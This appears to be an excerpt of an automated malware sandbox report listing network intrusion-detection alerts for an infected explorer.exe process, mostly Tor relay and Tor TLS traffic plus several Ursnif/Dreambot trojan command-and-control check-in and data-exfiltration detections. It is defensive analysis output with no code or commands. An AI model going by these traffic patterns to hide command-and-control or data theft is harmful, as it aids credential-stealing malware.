2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 655
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 108
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 541
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 498
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 213
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 238
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 686
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 288
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 282
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 507
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 546
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 351
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 614
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 719
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 604
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 481
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 363
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 211
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 699
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 446
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 150
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 202
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] Win32/Spy.Ursnif SSL TOR activity
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 178
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 530
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 538
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 513
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 550
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] Win32/Spy.Ursnif SSL TOR activity
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 717
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 355
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 124
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 670
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 506
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 645
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] Win32/Spy.Ursnif SSL TOR activity
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 501
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 253
2036 explorer.exe A Network Trojan was detected ET TROJAN Ursnif Variant CnC Data Exfil
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] W32.Dreambot HTTP
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 487
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 127
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 264
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 500
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 124
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 345
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 622
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 199
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 721
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 546
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 364
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 548
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] Win32/Spy.Ursnif SSL TOR activity
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 645
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 539
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 213
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 154
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 616
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 344
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 649
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] Win32/Spy.Ursnif SSL TOR activity
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 275
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 606
2036 explorer.exe A Network Trojan was detected ET TROJAN Ursnif Variant CnC Data Exfil
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] W32.Dreambot HTTP
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] Win32/Spy.Ursnif SSL TOR activity
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] Win32/Spy.Ursnif SSL TOR activity
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 167
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 243
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 357
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 598
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic

7 ETPRO signatures available at the full report

Debug output strings

No debug info.